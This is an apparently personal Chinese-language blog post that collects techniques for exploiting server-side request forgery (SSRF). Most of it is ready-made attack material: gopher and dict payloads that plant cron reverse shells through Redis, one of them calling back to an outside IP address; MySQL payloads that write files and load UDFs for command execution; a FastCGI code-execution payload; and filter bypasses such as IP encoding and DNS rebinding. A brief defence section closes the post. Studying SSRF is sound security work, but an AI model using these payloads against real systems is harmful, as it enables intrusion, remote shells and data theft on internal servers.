前言
最近主要是在思考考研的事。还是没想好-- 这几天的话写了一篇简单代审投稿了星盟,看了会SSRF。今天简单写下SSRF。 本文所有思路均来自互联网,并没有新想法。仅仅只是做个记录。 本文可能会有大量重复文字,我会在文中文末明显处都会表明出处,侵权一定删除。
SSRF简介
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)
SSRF漏洞形成的原因主要是服务器端所提供的接口中包含了所要请求的内容的URL参数,并且未对客户端所传输过来的URL参数进行过滤。这个漏洞造成的危害有:
注:一定要对SSRF CSRF XSS这几个漏洞有着明显的区别。我仍记得在大一刚开始时接触这几个漏洞有点迷糊。。 https://www.cnblogs.com/wangtanzhi/p/12242868.html CSRF漏洞以前我也写过一篇文章,现在来看文章很水--有很多知识都没写,这个等以后考研结束再看看怎么填坑吧(
危害
1:可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner信息; 2:攻击运行在内网或本地的应用程序(比如溢出); 3:对内网web应用进行指纹识别,通过访问默认文件实现; 4:攻击内外网的web应用,主要是使用get参数就可以实现的攻击(比如struts2,sqli等); 5:利用file协议读取本地文件等。
漏洞利用
本地利用
# 利用file协议查看文件
curl -v 'file:///etc/passwd'
# 利用dict探测端口
curl -v 'dict://127.0.0.1:22'
curl -v 'dict://127.0.0.1:6379/info'
#Gopher 协议可以做很多事情,特别是在 SSRF 中可以发挥很多重要的作用。利用此协议可以攻击内网的 FTP、Telnet、Redis、Memcache,
也可以进行 GET、POST 请求。这无疑极大拓宽了 SSRF 的攻击面
# 利用gopher协议反弹shell
curl -v 'gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$57%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a'
远程利用
漏洞代码ssrf.php(未做任何SSRF防御)
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}
$url = $_GET['url'];
curl($url);
远程利用方式
# 利用file协议任意文件读取
curl -v 'http://sec.com:8082/sec/ssrf.php?url=file:///etc/passwd'
# 利用dict协议查看端口
curl -v 'http://sec.com:8082/sec/ssrf.php?url=dict://127.0.0.1:22'
# 利用gopher协议反弹shell
curl -v 'http://sec.com:8082/sec/ssrf.php?url=gopher%3A%2F%2F127.0.0.1%3A6379%2F_%2A3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2456%250d%250a%250d%250a%250a%250a%2A%2F1%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F127.0.0.1%2F2333%200%3E%261%250a%250a%250a%250d%250a%250d%250a%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2Fvar%2Fspool%2Fcron%2F%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2A1%250d%250a%244%250d%250asave%250d%250a%2A1%250d%250a%244%250d%250aquit%250d%250a'
漏洞代码ssrf2.php
- 限制协议为HTTP、HTTPS
- 设置跳转重定向为True(默认不跳转)
<?php
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, True);
// 限制为HTTPS、HTTP协议
curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}
$url = $_GET['url'];
curl($url);
?>
此时,再使用dict协议已经不成功。 注:dict协议:词典网络协议,默认端口2628端口,允许用户在使用过程中访问更多的字典。这个还有更复杂利用我们下文再提。
http://sec.com:8082/sec/ssrf2.php?url=dict://127.0.0.1:6379/info
我们怎么利用呢,这里就是著名的302跳转利用:
当URL存在临时(302)或永久(301)跳转时,则继续请求跳转后的URL那么我们可以通过HTTP(S)的链接302跳转到gopher协议上。我们继续构造一个302跳转服务,代码如下302.php:
<?php
$schema = $_GET['s'];
$ip = $_GET['i'];
$port = $_GET['p'];
$query = $_GET['q'];
if(empty($port)){
header("Location: $schema://$ip/$query");
} else {
header("Location: $schema://$ip:$port/$query");
}
利用
# 利用dict探测端口
dict://127.0.0.1:6379/info
curl -vvv 'http://sec.com:8082/ssrf2.php?url=http://sec.com:8082/302.php?s=dict&i=127.0.0.1&port=6379&query=info'
# 任意文件读取
curl -vvv 'http://sec.com:8082/ssrf2.php?url=http://sec.com:8082/302.php?s=file&query=/etc/passwd'
#利用gopher协议反弹shell
curl -vvv 'http://sec.com:8082/ssrf_only_http_s.php?url=http://sec.com:8082/302.php?s=gopher&i=127.0.0.1&p=6389&query=_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0
a%0a%0a*/1%20*%20*%20*%20*%20bash%20-i%20>&%20/dev/tcp/103.21.140.84/6789%200>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d
%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3
%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a'
利用gopher协议
这个可以是本文的核心了,在SSRF中gopher协议能做的实在的太多了 如利用SSRF漏洞结合Gohper或者Dict协议攻击Redis、MongoDB、Memcache等NoSQL,利用SSRF漏洞攻击内网MySQL、PostgreSQL、MSSQL等关系型数据库 链接: http://www.codersec.net/2020/05/SSRF%E6%94%BB%E5%87%BB%E5%A7%BF%E5%8A%BF%E6%B1%87%E6%80%BB/
gopher协议背景介绍
一、Gopher是Internet上一个非常有名的信息查找系统,它将Internet上的文件组织成某种索引,很方便地将用户从Internet的一处带到另一处。在WWW出现之前,Gopher是Internet上最主要的信息检索工具,Gopher站点也是最主要的站点,使用tcp70端口。但在WWW出现后,Gopher失去了昔日的辉煌。现在它基本过时,人们很少再使用它;二、地鼠Gopher(谷佛)是迪士尼卡通人物之一。
opher协议是个tcp/ip协议,通过gopher协议可以发送tcp stream做的事情。比如我们操作mysql,操作redis,甚至使用smtp协议发送邮件等等都可以通过转换成gopher协议达到一样的效果。
gopher protocol smuggle
gopher协议是万金油,通过protocol smuggle能执行转换成太多协议
攻击mysql
详细看文章:
https://paper.seebug.org/510/ 条件 1:新建一个MySQL用户,并且密码为空
2:mysql高于5.7需要关闭mysql tls 3:编辑配置文件: /path/to/file/my.cnf
[mysqld]
...
skip_ssl
# disable_ssl
上面的文章介绍了如何通过wireshark 抓包然后转换成gopher协议
或者如果你嫌弃麻烦,直接使用大佬开发的工具https://xz.aliyun.com/t/5844即可,协议怎么转成gopher协议,本文不展开。 还有一个工具: 一个简单的mysql client,测试与mysql 的通信并生成payload。
https://github.com/undefinedd/extract0r-
注意:
利用SSRF获取Shell
很多情况下,SSRF是没有回显的,即使发送了数据而且MySQL也执行了,但是我们看不到执行后的返回数据,最后我们要的是系统的一个shell
上面我们构造好了一堆TCP数据包,如果需要使用SSRF漏洞来攻击MySQL的话,那么我们可以使用gopher协议来发送上面的一堆TCP数据包,最后使用curl发送请求即可。
正常情况下,通过MySQL获取系统shell一般通过selectinto outfile系统文件,或者使用udf来搞,那么这里同样我们将获取shell的数据包提取出来,通过gopher协议发送这些数据包同样可以达到getshell的目的。
通过select xxx into outfile yyy写shell的数据包获取方法同上面构造攻击数据包的过程,将执行完写文件sql语句的抓包内容提取出来构造好即可,如下图成功写shell文件到系统目录:
eg:
show global variables like '%secure_file_priv%';
mysql> show global variables like '%secure_file_priv%';
+------------------+-----------------------+
| Variable_name | Value |
+------------------+-----------------------+
| secure_file_priv | /var/lib/mysql-files/ |
+------------------+-----------------------+
1 row in set (0.00 sec)
所以可以直接执行
mysql -h 127.0.0.1 -uroot -e "select 'hello' into outfile '/var/lib/mysql-files/eval.php'";
转换成gopher协议利用即可
curl gopher://127.0.0.1:3306/_%a1%00%00%01%85%a2%3f%00%00%00%00%01%08%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%64%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%03%32%34%31%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%36%2e%34%36%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%21%00%00%00%03%73%65%6c%65%63%74%20%40%40%76%65%72%73%69%6f%6e%5f%63%6f%6d%6d%65%6e%74%20%6c%69%6d%69%74%20%31%3c%00%00%00%03%73%65%6c%65%63%74%20%27%68%65%6c%6c%6f%27%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%27%2f%76%61%72%2f%6c%69%62%2f%6d%79%73%71%6c%2d%66%69%6c%65%73%2f%65%76%61%6c%2e%70%68%70%27%01%00%00%00%01
通过udf直接执行系统命令过程同样,执行完一系列导出udf到plugin的命令后,即可直接执行系统命令执行.
udf攻击
mysql> show variables like "%plugin%";
+---------------+------------------------+
| Variable_name | Value |
+---------------+------------------------+
| plugin_dir | /usr/lib/mysql/plugin/ |
+---------------+------------------------+
1 row in set (0.00 sec)
查看版本和操作系统到https://github.com/rapid7/metasploit-framework/tree/master/data/exploits/mysql下载
mysql> select @@version_compile_os, @@version_compile_machine;
+----------------------+---------------------------+
| @@version_compile_os | @@version_compile_machine |
+----------------------+---------------------------+
| Linux | x86_64 |
+----------------------+---------------------------+
1 row in set (0.00 sec)
方便演示直接从sqlmap中复制出udf.so文件,实际攻击中可以使用gopher +mysql导出,前提是/usr/lib/mysql/plugin/目录有导出权限
select hex(load_file('/var/lib/mysql-files/mysqludf.so')) into outfile '/var/lib/mysql-files/udf.txt';
select unhex('7F454C46020...') into dumpfile '/usr/lib/mysql/plugin/mysqludf.so';
查看一下so文件中支持哪些函数
nm -D /usr/lib/mysql/plugin/mysqludf.so
导入函数
create Function sys_eval returns string soname 'mysqludf.so';
select sys_eval ('whoami');
如下图所示反弹shell:
(注意:在导出文件时,当前mysql用户必须存在file权限;部分MySQL服务器运行时启用了--secure-file-priv选项,导出文件时只能导出到规定的目录下,一般为/var/mysql/data命令,要自定义目录时必须修改配置文件设置secure-file-priv = “”;并且导入目录需要有写权限。)
redis反弹shell
我们先了解一下什么是redis。 REmote DIctionary Server(Redis) 是一个由Salvatore Sanfilippo写的key-value存储系统。 Redis是一个开源的使用ANSI C语言编写、遵守BSD协议、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。 它通常被称为数据结构服务器,因为值(value)可以是 字符串(String), 哈希(Hash), 列表(list), 集合(sets) 和 有序集合(sorted sets)等类型。
基本命令 Redis 命令用于在 redis 服务上执行操作,其基本语法为: \(redis-cli\) redis-cli -h host -p port -a password
Redis 键(key) redis 127.0.0.1:6379> SET runoobkey redis OK redis 127.0.0.1:6379> GET runoobkey "redis" redis 127.0.0.1:6379> DEL runoobkey (integer) 1 在以上实例中 DEL 是一个命令, runoobkey 是一个键。 如果键被删除成功,命令执行后输出 (integer) 1,否则将输出 (integer) 0
我们先来看一下不借助gopher协议怎么弹shell: 链接:
https://www.cnblogs.com/ophxc/p/12872815.html# 攻击payload:
redis-cli -h $1 flushall
echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1\n\n"|redis-cli -h $1 -x set 1
redis-cli -h $1 config set dir /var/spool/cron/
redis-cli -h $1 config set dbfilename root
redis-cli -h $1 save
第一步redis-cli -h $1 flushall,我们调用了redis的命令,-h这里指的是我们的主机ip地址,即$1这个变量,Flushall 命令用于清空整个 Redis 服务器的数据(删除所有数据库的所有 key )。 实例:
redis 127.0.0.1:6379> DBSIZE # 0 号数据库的 key 数量 (integer) 9
redis 127.0.0.1:6379> SELECT 1 # 切换到 1 号数据库 OK
redis 127.0.0.1:6379> DBSIZE # 1 号数据库的 key 数量 (integer) 6
redis 127.0.0.1:6379> flushall # 清空所有数据库的所有 key OK
redis 127.0.0.1:6379> DBSIZE # 不但 1 号数据库被清空了 (integer) 0
redis 127.0.0.1:6379> SELECT 0 # 0 号数据库(以及其他所有数据库)也一样 OK
redis 127.0.0.1:6379> DBSIZE (integer) 0 对于第二步:echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1\n\n"|redis-cli -h $1 -x set 1这里我们利用到了Redis的管道技术,可以查看使用手册,手册上对其的定义是Redis 管道技术可以在服务端未响应时,客户端可以继续向服务端发送请求,并最终一次性读取所有服务端的响应。我们单纯的将前半段语句带入得到
root@kali:~# echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1\n\n"
*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1 可以看到后半段是一个bashshell反弹,前半段我在网上查了之后发现这应该是定时计划,就是定时的执行我们的bash反弹,有三种定时的文件 /var/spool/cron/root , /var/spool/cron/crontabs/root 以及/etc/crontab,至于他的格式,我想这张图非常直观,我找了好久,qaq,这就代表这个指令是一直生效的,不会停止。
第三步: 指定本地数据库存放目录为/var/spool/cron/ 第四步: config get:获取配置文件信息。 config set:动态地调整 Redis 服务器的配置(configuration)而无须重启,可以修改的配置参数可以使用命令 CONFIG GET * 来列出,指定本地数据库文件名,默认值为dump.rdb,跟据上面我提到的三个路径在前两个路径我们的用户文件名为root,第三个是crontab,所以我们有不同的两种写法, 第一种:
redis-cli -h $1 config set dir /var/spool/cron/ redis-cli -h $1 config set dbfilename root 第二种:
config set dir /etc/ onfig set dbfilename crontab 最后一步,Redis Save 命令执行一个同步保存操作,将当前 Redis 实例的所有数据快照(snapshot)以 RDB 文件的形式保存到硬盘, 保存成功就返回 OK ,这一步就是保存到我们的硬盘文件上了。
接下来我们看一下怎么利用gopher协议来redis反弹shell 链接:
https://www.jianshu.com/p/fd27f0eedccf
如果内网中的redis存在未授权访问漏洞,当Redis服务以root 权限运行时,利用 Gopher 协议攻击内网中的 Redis,通过写入定时任务可以实现反弹shell。 1:使用socat进行端口转发,将本地的4444端口转发到目标的6379端口,此时访问本地的4444端口,其实是访问目标的6379端口。
socat -v tcp-listen:4444,fork tcp-connect:192.168.88.158:6379
2:执行以下bash脚本
bash redis_cron.sh 127.0.0.1 4444
echo -e "\n\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.88.155/4444 0>&1\n\n\n"|redis-cli -h $1 -p $2 -x set 1
redis-cli -h $1 -p $2 config set dir /var/spool/cron/
redis-cli -h $1 -p $2 config set dbfilename root
redis-cli -h $1 -p $2 save
redis-cli -h $1 -p $2 quit
3:捕获到攻击redis的数据包,保存成socat.log
> 2019/02/01 02:04:10.385362 length=90 from=0 to=89
*3\r
$3\r
set\r
$1\r
1\r
$63\r
*/1 * * * * bash -i >& /dev/tcp/192.168.88.155/4444 0>&1
\r
< 2019/02/01 02:04:10.387206 length=5 from=0 to=4
+OK\r
> 2019/02/01 02:04:10.390057 length=57 from=0 to=56
*4\r
$6\r
config\r
$3\r
set\r
$3\r
dir\r
$16\r
/var/spool/cron/\r
< 2019/02/01 02:04:10.392226 length=5 from=0 to=4
+OK\r
> 2019/02/01 02:04:10.394801 length=52 from=0 to=51
*4\r
$6\r
config\r
$3\r
set\r
$10\r
dbfilename\r
$4\r
root\r
< 2019/02/01 02:04:10.396341 length=5 from=0 to=4
+OK\r
> 2019/02/01 02:04:10.399187 length=14 from=0 to=13
*1\r
$4\r
save\r
< 2019/02/01 02:04:10.409391 length=5 from=0 to=4
+OK\r
> 2019/02/01 02:04:10.419846 length=14 from=0 to=13
*1\r
$4\r
quit\r
< 2019/02/01 02:04:10.420636 length=5 from=0 to=4
+OK\r
4:使用以下脚本将数据包进行转码,得到poc
python tran_payload.py socat.log
*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$63%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/192.168.88.155/4444 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a
注意:$63表示字符串长度为63个字节,如果要换IP和端口,前面的$63也需要更改
#coding: utf-8
#author: JoyChou
import sys
exp = ''
with open(sys.argv[1]) as f:
for line in f.readlines():
if line[0] in '><+':
continue
# 判断倒数第2、3字符串是否为\r
elif line[-3:-1] == r'\r':
# 如果该行只有\r,将\r替换成%0a%0d%0a
if len(line) == 3:
exp = exp + '%0a%0d%0a'
else:
line = line.replace(r'\r', '%0d%0a')
# 去掉最后的换行符
line = line.replace('\n', '')
exp = exp + line
# 判断是否是空行,空行替换为%0a
elif line == '\x0a':
exp = exp + '%0a'
else:
line = line.replace('\n', '')
exp = exp + line
print exp
5:使用curl命令进行测试,成功接收到反弹shell
curl -v 'gopher://192.168.88.158:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$63%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/192.168.88.155/4444 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a'
攻击fastcgi
链接:
https://www.jianshu.com/p/fd27f0eedccf php-fpm一般监听在127.0.0.1的9000端口上,当存在未授权访问漏洞时,利用 Gopher+SSRF 可以完美攻击 FastCGI 执行任意命令。
前提条件:
PHP-FPM监听端口
PHP-FPM版本 >= 5.3.3
libcurl版本>=7.45.0(curl版本小于7.45.0时,gopher的%00会被截断)
知道服务器上任意一个php文件的绝对路径,例如/usr/local/lib/php/PEAR.php
exp下载地址: https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75
首先监听2333端口的流量,并将输出保存成1.txt
nc -nvvlp 2333 > 1.txt
2:执行fpm.py,得到poc代码
python fpm.py 127.0.0.1 /usr/local/lib/php/PEAR.php -c '<?php echo `id`; exit;?>' -p 2333
3:使用如下脚本,将poc代码进行编码,得到gopher攻击的payload
import urllib
def go():
f = open("1.txt")
content = f.read()
print urllib.quote(content)
if __name__ == "__main__":
go()
4:使用curl命令发送payload,成功执行了系统命令
curl -v "gopher://127.0.0.1:9000/_%01%01%96%A2%00%08%00%00%00%01%00%00%00%00%00%00%01%04%96%A2%01%E7%00%00%0E%02CONTENT_LENGTH24%0C%10CONTENT_TYPEapplication/text%0B%04REMOTE_PORT9985%0B%09SERVER_NAMElocalhost%11%0BGATEWAY_INTERFACEFastCGI/1.0%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0F%1BSCRIPT_FILENAME/usr/local/lib/php/PEAR.php%0B%1BSCRIPT_NAME/usr/local/lib/php/PEAR.php%09%1FPHP_VALUEauto_prepend_file%20%3D%20php%3A//input%0E%04REQUEST_METHODPOST%0B%02SERVER_PORT80%0F%08SERVER_PROTOCOLHTTP/1.1%0C%00QUERY_STRING%0F%16PHP_ADMIN_VALUEallow_url_include%20%3D%20On%0D%01DOCUMENT_ROOT/%0B%09SERVER_ADDR127.0.0.1%0B%1BREQUEST_URI/usr/local/lib/php/PEAR.php%01%04%96%A2%00%00%00%00%01%05%96%A2%00%18%00%00%3C%3Fphp%20echo%20%60id%60%3B%20exit%3B%3F%3E%01%05%96%A2%00%00%00%00"
攻击内网 Vulnerability Web
链接:
https://www.cnblogs.com/ophxc/p/12872815.html# 这一部分利用到了post请求相对简单,只需要我们利用gopher协议,对其进行编码改包把我们的提权指令传进去,但是注意特殊字符要使用url编码。 实例:
POST /exp.php HTTP/1.1 Host: 127.0.0.1 User-Agent: curl/7.43.0 Accept: / Content-Length: 49 Content-Type: application/x-www-form-urlencoded
e=bash -i >%26 /dev/tcp/10.0.0.1/2333 0>%261 把整个包以post请求利用gopher发出:
gopher://127.0.0.1:80/_POST /exp.php HTTP/1.1%0d%0aHost: 127.0.0.1%0d%0aUser-Agent: curl/7.43.0%0d%0aAccept: /%0d%0aContent-Length: 49%0d%0aContent-Type: application/x-www-form-urlencoded%0d%0a%0d%0ae=bash -i >%2526 /dev/tcp/10.0.0.1/2333 0>%25261null 从一位师傅那里找的图
DICT协议向redis写shell
词典网络协议,默认端口2628端口,允许用户在使用过程中访问更多的字典。 我们可以通过三条命令查看能否利用dict协议。 步骤一:利用flushall清理所有数据,保证我们接下来设置的定时任务能够执行成功。http://xxx.xxx.xx.xx/xx.php?url=dict://127.0.0.1:6379/flushall 步骤二:写入反弹命令:http://xxx.xxx.xx.xx/xx.php?url=dict://127.0.0.1:6379/bhost=...%26bport=1234 步骤三:设置导出的路径就是我们的定时计划目录:http://xxx.xxx.xx.xx/xx.php?url=dict://127.0.0.1:6379/config:set:dir:/var/spool/cron/ 步骤四:设置导出的名字http://xxx.xxx.xx.xx/xx.php?url=dict://127.0.0.1:6379/config:set:dbfilename:root 步骤五:到处我们的设置也就是保存在磁盘中:http://xxx.xxx.xx.xx/xx.php?url=dict://127.0.0.1:6379/save
Redis Slaveof 命令(服务器主从关系攻击) 命令作用:
如果当前服务器已经是某个主服务器(master server)的从属服务器,那么执行 SLAVEOF host port 将使当前服务器停止对旧主服务器的同步,丢弃旧数据集,转而开始对新主服务器进行同步。 另外,对一个从属服务器执行命令 SLAVEOF NO ONE 将使得这个从属服务器关闭复制功能,并从从属服务器转变回主服务器,原来同步所得的数据集不会被丢弃。 主从模式就是指使用 一个 redis实例作为主机(master),其他实例 都 作为从机(slave),主机只负责写入数据,很多的从机负责读,这就很想我们常常说的 CDN 负载均衡的功能 设置主从: redis 127.0.0.1:6379> SLAVEOF 127.0.0.1 6379 OK 断开主从以读取写数据 redis 127.0.0.1:6379> SLAVEOF NO ONE OK 当我们写shell的时候我们无法绕过对特殊字符的过滤,我们可以利用主从服务器,但这样对服务器可能会造成信息文件的丢失,这里需要我们自己搭建一个服务器搭载redis服务,它的原理是在自己掌控的服务器上面写上shell,然后通过ssrf漏洞让内网服务器执行同步命令,并把shell写到内网服务器上,绕过了过滤,因为slave 能主从复制机制从 master 获取到 rdb 文件,那么我们是不是可以自己写一个 “流氓服务器” 去模拟 master 然后将我们自定义的模块通过这种主从复制机制传递到 slave 上,slave 端只要将,我们传递来的 rdb 文件保存成一个 .so 文件然后再去进行模块加载,我们的攻击就完成了,总而言之就是master负责读,slave负责写,我们服务端读到了,那么本地目标机器就写上去了,就是这么简单。 详细通讯过程:
这里的$4,$7是表示命令行长度。
利用解析URL所出现的问题
在某些情况下,后端程序可能会对访问的URL进行解析,对解析出来的host地址进行过滤。这时候可能会出现对URL参数解析不当,导致可以绕过过滤。
对于SSRF过滤的绕过: 开发者会对url进行过滤,将传过来的url参数进行正则表达式匹配,从而去除掉内网的ip,这样攻击就打不到内网了,例如^192.168(.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$
1:对于这种正则表达式的匹配我们有些时候可以进行八进制,十六进制的转换。
对于192.168.3.6:
8进制格式:0300.0250.3.6
16进制格式:0xC0.0xA8.3.6
10进制整数格式:3232235521
16进制整数格式:0xC0A80306
2:http://www.baidu.com@192.168.0.1/与http://192.168.0.1请求的都是192.168.0.1的内容
3:可以指向任意ip的域名xip.io:http://127.0.0.1.xip.io/>http://127.0.0.1/
4:短地址http://dwz.cn/11SMa>http://127.0.0.1
5:利用句号。:127。0。0。1==>127.0.0.1
6:利用Enclosed alphanumerics
ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ >>> example.com
List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳
⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇
⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛
⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵
Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ
ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ
⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴
⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
7:利用302跳转 (1)http://xip.io和xip.name当我们访问这个网站的子域名的时候,例如192.168.0.1.xip.io,就会自动重定向到192.168.0.1。(2)、由于上述方法中包含了192.168.0.1这种内网IP地址,可能会被正则表达式过滤掉,我们可以通过用短地址的方式绕过 8:通过各种非HTTP协议
DNS Rebinding(DNS 重绑定攻击)
我们需要一个域名,并且将这个域名的解析指定到我们自己的DNS Server,在我们的可控的DNS Server上编写解析服务,设置TTL时间为0。
服务器端获得URL参数,进行第一次DNS解析,获得了一个非内网的IP
对于获得的IP进行判断,发现为非黑名单IP,则通过验证
服务器端对于URL进行访问,由于DNS服务器设置的TTL为0,所以再次进行DNS解析,这一次DNS服务器返回的是内网地址。
由于已经绕过验证,所以服务器端返回访问内网资源的结果。
weblogic ssrf攻击redis
不展开,之后会系统复现weblogic漏洞,想看的看链接:
https://www.jianshu.com/p/fd27f0eedccf
防御
过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。 统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。
限制请求的端口为http常用的端口,比如,80,443,8080,8090。
黑名单内网ip。避免应用被用来获取获取内网数据,攻击内网。
禁用不需要的协议。仅仅允许http和https请求。可以防止类似于file:///,gopher://,ftp:// 等引起的问题。
参考
https://www.cnblogs.com/ophxc/p/12865520.html
http://www.codersec.net/2020/05/SSRF%E6%94%BB%E5%87%BB%E5%A7%BF%E5%8A%BF%E6%B1%87%E6%80%BB/
https://www.jianshu.com/p/3d477f990aa1
https://www.freebuf.com/articles/web/159342.html
https://www.jianshu.com/p/fd27f0eedccf
https://joychou.org/web/phpssrf.html#directory024554714418179386
https://www.cnblogs.com/ophxc/p/12872815.html#